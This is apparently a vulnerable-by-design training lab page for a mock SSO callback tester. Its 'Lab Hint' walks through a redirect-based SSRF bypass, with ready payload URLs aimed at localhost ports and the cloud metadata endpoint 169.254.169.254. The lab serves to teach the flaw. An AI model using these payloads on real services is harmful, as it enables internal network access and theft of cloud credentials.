Bug Bounty Tip: SecureAuth tests callback URLs before saving SSO configurations. Domain restrictions are validated on the initial URL, but redirects are followed during the test — a classic redirect-based SSRF bypass.
Application: CRM Portal SAML 2.0 · Active
Only URLs from the secureauth.io domain are permitted.
Recent Callback Tests
partner.secureauth.io
2024-06-01 08:55:01
HTTP 200
app1.secureauth.io
2024-06-01 09:14:22
HTTP 200
Where Bug Hunters Find This
  • SSO/SAML callback URL validators
  • OAuth redirect_uri testers
  • Webhook domain allowlists with redirect following
  • URL shortener resolution
  • CDN origin validation with redirect support
  • Open Graph / oEmbed fetchers with redirect chains
Lab Hint — How to Bypass

The server only validates the initial URL domain but follows HTTP redirects using CURLOPT_FOLLOWLOCATION. To bypass, you need a URL that:
① Starts with a secureauth.io host (passes domain check)
② Redirects to an internal / private IP (curl follows it blindly)

Step 1 — Check your /etc/hosts
grep secureauth.io /etc/hosts
# Should show: 127.0.0.1 secureauth.io
# If missing, add it: echo "127.0.0.1 secureauth.io" | sudo tee -a /etc/hosts
Step 2 — Use the open redirect endpoint

This lab includes a redirect helper at /subdomains/fetch/redirect.php?to=<TARGET>

http://secureauth.io/subdomains/fetch/redirect.php?to=http://127.0.0.1/
Step 3 — Submit as the Callback URL

Paste the URL above into the Callback URL field and click Test Callback. The domain check sees secureauth.io ✓ — then curl follows the 302 to http://127.0.0.1/

Step 4 — Try internal endpoints
# Access localhost web server:
http://secureauth.io/subdomains/fetch/redirect.php?to=http://127.0.0.1/

# Access localhost on different ports:
http://secureauth.io/subdomains/fetch/redirect.php?to=http://127.0.0.1:8080/

# Access cloud metadata (if available):
http://secureauth.io/subdomains/fetch/redirect.php?to=http://169.254.169.254/latest/meta-data/
Success indicator: When the bypass works, the Final URL will differ from the Initial URL and the response body will contain content from the internal target — proving SSRF via open redirect.